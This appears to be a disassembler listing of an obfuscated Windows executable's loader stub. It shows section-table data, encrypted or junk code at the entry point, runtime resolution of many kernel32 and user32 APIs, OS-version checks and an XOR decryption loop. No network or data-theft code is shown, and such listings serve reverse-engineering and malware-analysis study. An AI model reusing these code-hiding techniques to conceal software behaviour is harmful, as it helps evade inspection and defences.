; ---------------------------------------------------------------------------
		align 10h


loc_4CD700:				; CODE XREF: sub_4CDB8Dp
		call	sub_4CD2E0
		pop	eax
		call	loc_4CDE60
		pop	eax
		mov	[esp+24h], eax
		popa
		pop	eax
		pop	eax
		call	eax
		call	sub_4DA0BC
; ---------------------------------------------------------------------------
		db 6 dup(0CCh)
dword_4CD720	dd 0			; DATA XREF: sub_4CD2E0:loc_4CD6CDo
					; sub_4D47BF+2Bo ...
		db 90h
		db 1Eh,	91h, 0
aHereisbootcode	db 27h,'HEREISBOOTCODE',27h,0
		align 10h
		dw 7
		unicode	0, <>,0
a_text		db '.text',0            ; DATA XREF: _6:off_4E169Co
		align 4
		db 90h
		db 2 dup(2), 0
		dd 1000h, 12400h, 400h,	3 dup(0)
		dd 60000020h, 6164722Eh, 6174h,	1BB6h, 22000h, 1000h, 12800h
		dd 3 dup(0)
		dd 40000040h, 7461642Eh, 61h, 0A6720h, 24000h, 4000h, 13800h
		dd 3 dup(0)
		dd 0C0000040h, 6478732Eh, 617461h, 18h,	0CB000h, 200h
		dd 17800h, 3 dup(0)
		dd 0C0000240h, 7865742Eh, 74h, 11ABFh, 0CC000h,	0B600h
		dd 17A00h, 3 dup(0)
		dd 0E0000040h, 6164722Eh, 6174h, 0D76h,	0DE000h, 0E00h
		dd 23000h, 3 dup(0)
		dd 0E0000040h, 7461642Eh, 61h, 7110h, 0DF000h, 1C00h, 23E00h
		dd 3 dup(0)
		dd 0E0000040h, 0B3h dup(0)
		dd 32000000h, 30353030h
		db 35h,	31h, 38h
; ---------------------------------------------------------------------------

		public start
start:
		call	$+5
		pusha
		call	sub_4CDB8D
		xchg	eax, esp
		sbb	[esi-6E07B9B0h], ah
		push	ebp
		setnbe	byte ptr [edi+37h]
		test	al, 65h
		and	cl, [ecx-28h]
		pusha
		or	al, [eax+373EFFA7h]
		add	[edi], edi
		mov	ebp, 0A5F40422h
		pusha
		enter	0FFFFB7D7h, 0BCh
		sti
		cmp	[esi-4C522775h], esp
		icebp
		movsb
		xchg	eax, ebp
		dec	dword ptr [eax]
; ---------------------------------------------------------------------------
		dw 0E98Dh
		dd 0A71D3AFDh, 0E98D695Ch, 0A71D3AFDh
		db 5Ch,	69h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4CDB7E	proc near		; CODE XREF: _4:004CDF39p _4:004CECB0p ...
		jmp	sub_4D489D
sub_4CDB7E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4D48B6
; ---------------------------------------------------------------------------
		jmp	loc_4D48B6

; =============== S U B	R O U T	I N E =======================================



sub_4CDB8D	proc near		; CODE XREF: _4:004CDB39p
		call	loc_4CD700
		jmp	sub_4DDAB0
sub_4CDB8D	endp

; ---------------------------------------------------------------------------
		jmp	sub_4DDAB0
; ---------------------------------------------------------------------------
		dd 0CBCB4CE9h, 0E452E9DBh, 0E7E9626Dh, 0E9234555h, 5988650h
		dd 0BB205043h, 6DF64925h, 53E679A8h, 0E9C3AF96h, 20h, 0F3h
		dd 2060400h, 9E6h, 5 dup(0)
		dd 39289932h, 0DD93CC29h, 0A3A35AE3h, 4EA4B4Eh,	2E6D7A6Eh
		dd 2E657865h, 584F42h, 71h dup(0)
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CDDD0	proc near		; CODE XREF: sub_4CD2E0+3DCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+78h], 0
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+7Ch], 0
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_4DE014	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4CDE12
		push	0
		push	0
		push	0
		push	0EF0000FDh
		call	ds:dword_4DE00C	; RaiseException


loc_4CDE12:				; CODE XREF: sub_4CDDD0+2Fj
		mov	edx, [ebp+var_8]
		push	edx
		call	ds:dword_4DE000	; InitializeCriticalSection
		mov	eax, [ebp+var_8]
		add	eax, 18h
		push	eax
		call	ds:dword_4DE000	; InitializeCriticalSection
		mov	ecx, [ebp+var_8]
		add	ecx, 30h
		push	ecx
		call	ds:dword_4DE000	; InitializeCriticalSection
		mov	edx, [ebp+var_8]
		add	edx, 48h
		push	edx
		call	ds:dword_4DE000	; InitializeCriticalSection
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_4CDDD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CDE50	proc near		; CODE XREF: sub_4D2DD0+50p
		push	ebp
		mov	ebp, esp
		mov	eax, ds:dword_4E1688
		mov	al, [eax+70h]
		pop	ebp
		retn
sub_4CDE50	endp

; ---------------------------------------------------------------------------
		align 10h


loc_4CDE60:				; CODE XREF: _4:004CD706p
		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+8]
		mov	ds:dword_4E1688, eax
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_4E1718	; GetModuleHandleA
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0
		jnz	short loc_4CDE99
		push	0
		push	0
		push	0
		push	0EF0000FDh
		call	ds:dword_4E1778	; RaiseException


loc_4CDE99:				; CODE XREF: _4:004CDE86j
		push	offset aVirtualalloc ; "VirtualAlloc"
		mov	ecx, [ebp-8]
		push	ecx
		call	ds:dword_4E1728	; GetProcAddress
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-0Ch], 0
		jnz	short loc_4CDEC2
		push	0
		push	0
		push	0
		push	0EF0000FCh
		call	ds:dword_4E1778	; RaiseException


loc_4CDEC2:				; CODE XREF: _4:004CDEAFj
		push	4
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-0Ch]
		mov	ds:dword_4E1674, eax
		push	4
		push	2000h
		call	ds:dword_4E173C	; GetTickCount
		xor	edx, edx
		mov	ecx, 8000h
		div	ecx
		push	edx
		push	0
		call	dword ptr [ebp-0Ch]
		mov	ds:dword_4E167C, eax
		push	4
		push	1000h
		push	1000h
		push	0
		call	dword ptr [ebp-0Ch]
		mov	ds:dword_4E1678, eax
		mov	edx, ds:dword_4E1674
		mov	dword ptr [edx], 19660Dh
		mov	eax, ds:dword_4E1678
		mov	dword ptr [eax], 3C6EF35Fh
		mov	dword ptr [ebp-14h], 0
		mov	dword ptr [ebp-4], 0
		push	2E0000h
		call	sub_4CDB7E
		adc	eax, 3C65AC02h
		cmpxchg	[esi], cl
		xchg	edi, [edx+2E8519EFh]
		cmp	ecx, ebx
		xchg	eax, ecx
		db	66h
		out	0F9h, al	; AT 80287 data.
					; 286 sends opcodes & operands and receives results.
		mov	[ecx+5Ch], ebp
		dec	edi
		db	36h
		pop	edi
		xlat
		sbb	ecx, [esi]
		add	[edx+7124A10Dh], eax
		dec	esp
		xor	[eax+73h], ecx
		mov	ds:48B5728Dh, al
		db	3Eh
		xor	[ebx+78h], ecx
		mov	dl, 8Ah
		fcomp	qword ptr [eax+ebx*8-38h]
		and	eax, 8467D355h
		xchg	eax, ecx
		sahf
		and	[ebp-136E3BBFh], al
		or	ah, [ebx-48D2FD85h]
		inc	edi
		mov	esp, 77849591h
		add	eax, 4C759C32h
		pop	ds
		xchg	eax, esi
		push	ds
		cmp	cl, [edi-1]
		and	al, 31h
		db	3Eh
		dec	ebx
		xor	[ebp+72h], ah
; ---------------------------------------------------------------------------
aDmqqh?2rr3EUul	db 'dqqH?23҅uE',8,'qEh',1Bh,0
		db '!',0
		db 0E8h, 0BCh, 0FBh
		dd 9090FFFFh, 0C985C933h, 558BEE75h, 8D8D52E8h,	0FFFFFF18h
		dd 41EFE8h, 216800h, 9BE80026h,	90FFFFFBh, 85C03390h, 6AEE75C0h
		dd 840D8B08h, 51004E16h, 0FF188D8Dh, 94E8FFFFh,	68000046h
		dd 26h,	0FFFB75E8h, 0DD7144FFh,	57C78D29h, 56C454C1h, 0E9957046h
		dd 2E4E5B6Ch, 7725EB5Bh, 0ADF7793Fh, 0D11C487Eh, 0C097F072h
		dd 3F5DFA9Bh, 75E9DCC2h, 0F7518C7h, 0B6514437h,	6D7A8355h
		dd 0C0339090h, 0EE75C085h, 16840D8Bh, 118B004Eh, 0A1F05589h
		dd 4E1684h, 4D89088Bh, 9468ECh,	0F3E80000h, 830000A2h
		dd 858904C4h, 0FFFFFEFCh, 0FEFC958Bh, 9589FFFFh, 0FFFFFF14h
		dd 25B9h, 8BC03300h, 0FFFF14BDh, 8BABF3FFh, 0FFFF1485h
		dd 9400C7FFh, 8B000000h, 0FFFF148Dh, 15FF51FFh,	4E1738h
		dd 0FF14958Bh, 428BFFFFh, 1680A310h, 85C7004Eh,	0FFFFFF10h
		dd 0
; ---------------------------------------------------------------------------
		mov	ecx, ds:dword_4E1680
		mov	[ebp-10Ch], ecx
		cmp	dword ptr [ebp-10Ch], 0
		jz	short loc_4CE0E8
		cmp	dword ptr [ebp-10Ch], 1
		jz	short loc_4CE0F7
		cmp	dword ptr [ebp-10Ch], 2
		jz	short loc_4CE14E
		jmp	loc_4CE1EB
; ---------------------------------------------------------------------------


loc_4CE0E8:				; CODE XREF: _4:004CE0CFj
		mov	dword ptr [ebp-0F0h], offset aWin32s ; "win32s"
		jmp	loc_4CE1EB
; ---------------------------------------------------------------------------


loc_4CE0F7:				; CODE XREF: _4:004CE0D8j
		mov	edx, [ebp-0ECh]
		cmp	dword ptr [edx+8], 0
		jnz	short loc_4CE10F
		mov	dword ptr [ebp-0F0h], offset aWindows95	; "Windows95"
		jmp	short loc_4CE149
; ---------------------------------------------------------------------------


loc_4CE10F:				; CODE XREF: _4:004CE101j
		mov	eax, [ebp-0ECh]
		cmp	dword ptr [eax+8], 0Ah
		jnz	short loc_4CE127
		mov	dword ptr [ebp-0F0h], offset aWindows98	; "Windows98"
		jmp	short loc_4CE149
; ---------------------------------------------------------------------------


loc_4CE127:				; CODE XREF: _4:004CE119j
		mov	ecx, [ebp-0ECh]
		cmp	dword ptr [ecx+8], 5Ah
		jnz	short loc_4CE13F
		mov	dword ptr [ebp-0F0h], offset aWindowsme	; "WindowsMe"
		jmp	short loc_4CE149
; ---------------------------------------------------------------------------


loc_4CE13F:				; CODE XREF: _4:004CE131j
		mov	dword ptr [ebp-0F0h], offset aWindows9xUnkno ; "Windows9x(unknown)"


loc_4CE149:				; CODE XREF: _4:004CE10Dj _4:004CE125j ...
		jmp	loc_4CE1EB
; ---------------------------------------------------------------------------


loc_4CE14E:				; CODE XREF: _4:004CE0E1j
		mov	edx, [ebp-0ECh]
		cmp	dword ptr [edx+4], 3
		jnz	short loc_4CE169
		mov	dword ptr [ebp-0F0h], offset aWindowsnt3_51 ; "WindowsNT(3.51)"
		jmp	loc_4CE1EB
; ---------------------------------------------------------------------------


loc_4CE169:				; CODE XREF: _4:004CE158j
		mov	eax, [ebp-0ECh]
		cmp	dword ptr [eax+4], 4
		jnz	short loc_4CE181
		mov	dword ptr [ebp-0F0h], offset aWindowsnt4_0 ; "WindowsNT(4.0)"
		jmp	short loc_4CE1EB
; ---------------------------------------------------------------------------


loc_4CE181:				; CODE XREF: _4:004CE173j
		mov	ecx, [ebp-0ECh]
		cmp	dword ptr [ecx+4], 5
		jnz	short loc_4CE1E1
		mov	edx, [ebp-0ECh]
		cmp	dword ptr [edx+8], 0
		jnz	short loc_4CE1A5
		mov	dword ptr [ebp-0F0h], offset aWindows2000 ; "Windows2000"
		jmp	short loc_4CE1DF
; ---------------------------------------------------------------------------


loc_4CE1A5:				; CODE XREF: _4:004CE197j
		mov	eax, [ebp-0ECh]
		cmp	dword ptr [eax+8], 1
		jnz	short loc_4CE1BD
		mov	dword ptr [ebp-0F0h], offset aWindowsxp	; "WindowsXP"
		jmp	short loc_4CE1DF
; ---------------------------------------------------------------------------


loc_4CE1BD:				; CODE XREF: _4:004CE1AFj
		mov	ecx, [ebp-0ECh]
		cmp	dword ptr [ecx+8], 2
		jnz	short loc_4CE1D5
		mov	dword ptr [ebp-0F0h], offset aWindows_net ; "Windows.NET"
		jmp	short loc_4CE1DF
; ---------------------------------------------------------------------------


loc_4CE1D5:				; CODE XREF: _4:004CE1C7j
		mov	dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)"


loc_4CE1DF:				; CODE XREF: _4:004CE1A3j _4:004CE1BBj ...
		jmp	short loc_4CE1EB
; ---------------------------------------------------------------------------


loc_4CE1E1:				; CODE XREF: _4:004CE18Bj
		mov	dword ptr [ebp-0F0h], offset aWindowsntUnkno ; "WindowsNT(unknown)"


loc_4CE1EB:				; CODE XREF: _4:004CE0E3j _4:004CE0F2j ...
		mov	edx, [ebp-0ECh]
		mov	[ebp-108h], edx
		mov	eax, [ebp-108h]
		push	eax
		call	sub_4D83DD
		add	esp, 4
		mov	ecx, ds:dword_4E1684
		mov	edx, [ecx+2Ch]
		mov	[ebp-0F4h], edx
		cmp	dword ptr [ebp-0F4h], 0
		jz	short loc_4CE28F
		mov	eax, [ebp-0F4h]
		mov	[ebp-0FCh], eax
		mov	dword ptr [ebp-0F8h], 0
		jmp	short loc_4CE245
; ---------------------------------------------------------------------------


loc_4CE236:				; CODE XREF: _4:004CE28Dj
		mov	ecx, [ebp-0F8h]
		add	ecx, 1
		mov	[ebp-0F8h], ecx


loc_4CE245:				; CODE XREF: _4:004CE234j
		cmp	dword ptr [ebp-0F8h], 80h
		jge	short loc_4CE28F
		mov	edx, [ebp-0FCh]
		imul	edx, 19660Dh
		add	edx, 3C6EF35Fh
		mov	[ebp-0FCh], edx
		mov	eax, [ebp-0F8h]
		mov	ecx, [ebp-0F4h]
		mov	edx, [ecx+eax*4]
		xor	edx, [ebp-0FCh]
		mov	eax, [ebp-0F8h]
		mov	ecx, [ebp-0F4h]
		mov	[ecx+eax*4], edx
		jmp	short loc_4CE236
; ---------------------------------------------------------------------------


loc_4CE28F:				; CODE XREF: _4:004CE21Cj _4:004CE24Fj
		mov	edx, ds:dword_4E1684
		mov	eax, [edx+24h]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	ds:byte_4E1694,	al
		call	sub_4D4DC0
		mov	ecx, [ebp-14h]
		mov	[ebp+8], ecx
		cmp	ds:dword_4E5A54, 0
		jz	short loc_4CE2CD
		push	0
		push	0
		push	0
		mov	edx, ds:dword_4E5A54
		push	edx
		call	ds:dword_4E1838	; PostMessageA


loc_4CE2CD:				; CODE XREF: _4:004CE2B8j
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4CE2E0	proc near		; CODE XREF: sub_4CD2E0+3BEp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ds:dword_4DE014	; GetModuleHandleA
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_4CE30B
		push	0
		push	0
		push	0
		push	0EF0000FDh
		call	ds:dword_4DE00C	; RaiseException


loc_4CE30B:				; CODE XREF: sub_4CE2E0+18j
		push	offset aClosehandle ; "CloseHandle"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16A4, eax
		push	offset aCreatefilea ; "CreateFileA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16A8, eax
		push	offset aCreatefilew ; "CreateFileW"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16AC, eax
		push	offset aCreatefilemapp ; "CreateFileMappingA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16B0, eax
		push	offset aCreatefilema_0 ; "CreateFileMappingW"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16B4, eax
		push	offset aCreateprocessa ; "CreateProcessA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16B8, eax
		push	offset aDebugbreak ; "DebugBreak"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16BC, eax
		push	offset aDeletefilea ; "DeleteFileA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16C0, eax
		push	offset aEntercriticals ; "EnterCriticalSection"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16C4, eax
		push	offset aExitprocess ; "ExitProcess"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16C8, eax
		push	offset aFindclose ; "FindClose"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16CC, eax
		push	offset aFindfirstfilea ; "FindFirstFileA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16D0, eax
		push	offset aFindnextfilea ;	"FindNextFileA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16D4, eax
		push	offset aFlushfilebuffe ; "FlushFileBuffers"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16D8, eax
		push	offset aFormatmessagea ; "FormatMessageA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16DC, eax
		push	offset aFreelibrary ; "FreeLibrary"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16E0, eax
		push	offset aGetcurrentproc ; "GetCurrentProcess"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16E4, eax
		push	offset aGetcurrentpr_0 ; "GetCurrentProcessId"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16E8, eax
		push	offset aGetenvironment ; "GetEnvironmentVariableA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16EC, eax
		push	offset aGetexitcodepro ; "GetExitCodeProcess"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16F0, eax
		push	offset aGetfileattribu ; "GetFileAttributesA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16F4, eax
		push	offset aGetfileattri_0 ; "GetFileAttributesW"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16F8, eax
		push	offset aGetfileinforma ; "GetFileInformationByHandle"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E16FC, eax
		push	offset aGetfilesize ; "GetFileSize"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1700, eax
		push	offset aGetfiletime ; "GetFileTime"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1704, eax
		push	offset aGetfullpathnam ; "GetFullPathNameA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1708, eax
		push	offset aGetfullpathn_0 ; "GetFullPathNameW"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E170C, eax
		push	offset aGetlasterror ; "GetLastError"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1710, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1714, eax
		push	offset aGetmodulehandl ; "GetModuleHandleA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1718, eax
		push	offset aGetprivateprof ; "GetPrivateProfileIntA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E171C, eax
		push	offset aGetprivatepr_0 ; "GetPrivateProfileSectionNamesA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1720, eax
		push	offset aGetprivatepr_1 ; "GetPrivateProfileStringA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1724, eax
		push	offset aGetprocaddress ; "GetProcAddress"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1728, eax
		push	offset aGetsystemtimea ; "GetSystemTimeAsFileTime"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E172C, eax
		push	offset aGettempfilenam ; "GetTempFileNameA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1730, eax
		push	offset aGettemppatha ; "GetTempPathA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1734, eax
		push	offset aGetversionexa ;	"GetVersionExA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1738, eax
		push	offset aGettickcount ; "GetTickCount"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E173C, eax
		push	offset aHeapalloc ; "HeapAlloc"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1740, eax
		push	offset aHeapfree ; "HeapFree"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1744, eax
		push	offset aHeapcreate ; "HeapCreate"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1748, eax
		push	offset aInitializecrit ; "InitializeCriticalSection"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E174C, eax
		push	offset aDeletecritical ; "DeleteCriticalSection"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1750, eax
		push	offset aLeavecriticals ; "LeaveCriticalSection"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1754, eax
		push	offset aLoadlibrarya ; "LoadLibraryA"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E175C, eax
		push	offset aLoadlibraryexa ; "LoadLibraryExA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1758, eax
		push	offset aLocalalloc ; "LocalAlloc"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1760, eax
		push	offset aLocalfree ; "LocalFree"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1764, eax
		push	offset aLockfile ; "LockFile"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1768, eax
		push	offset aMapviewoffile ;	"MapViewOfFile"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E176C, eax
		push	offset aMultibytetowid ; "MultiByteToWideChar"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1770, eax
		push	offset aOpenprocess ; "OpenProcess"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1774, eax
		push	offset aRaiseexception ; "RaiseException"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1778, eax
		push	offset aReadfile ; "ReadFile"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E177C, eax
		push	offset aSetenvironment ; "SetEnvironmentVariableA"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1780, eax
		push	offset aSetevent ; "SetEvent"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1784, eax
		push	offset aSetfilepointer ; "SetFilePointer"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1788, eax
		push	offset aSetlasterror ; "SetLastError"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E178C, eax
		push	offset aSetunhandledex ; "SetUnhandledExceptionFilter"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1790, eax
		push	offset aSleep	; "Sleep"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1794, eax
		push	offset aTerminateproce ; "TerminateProcess"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E1798, eax
		push	offset aUnlockfile ; "UnlockFile"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E179C, eax
		push	offset aUnmapviewoffil ; "UnmapViewOfFile"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17A0, eax
		push	offset aVirtualalloc ; "VirtualAlloc"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17A4, eax
		push	offset aVirtualfree ; "VirtualFree"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17A8, eax
		push	offset aVirtualprotect ; "VirtualProtect"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17AC, eax
		push	offset aVirtualquery ; "VirtualQuery"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17B0, eax
		push	offset aWaitforsingleo ; "WaitForSingleObject"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17B4, eax
		push	offset aWidechartomult ; "WideCharToMultiByte"
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17B8, eax
		push	offset aWritefile ; "WriteFile"
		mov	ecx, [ebp+var_C]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17BC, eax
		push	offset aLstrcmpia ; "lstrcmpiA"
		mov	edx, [ebp+var_C]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17C0, eax
		push	offset aUser32_dll_0 ; "user32.dll"
		call	ds:dword_4E175C	; LoadLibraryA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4CE8D0
		push	0
		push	0
		push	0
		push	0EF0000F7h
		call	ds:dword_4DE00C	; RaiseException


loc_4CE8D0:				; CODE XREF: sub_4CE2E0+5DDj
		push	offset aChangedisplays ; "ChangeDisplaySettingsA"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17C4, eax
		push	offset aCharupperbuffa ; "CharUpperBuffA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17C8, eax
		push	offset aLoadimagea ; "LoadImageA"
		mov	edx, [ebp+var_10]
		push	edx
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17CC, eax
		push	offset aMessageboxa_0 ;	"MessageBoxA"
		mov	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4DE004	; GetProcAddress
		mov	ds:dword_4E17D0, eax
		push	offset aWsprintfa ; "wsprintfA"
		mov	ecx, [ebp+var_10]
		push	ecx
		call	ds:dword_4DE004	; GetProcAddress
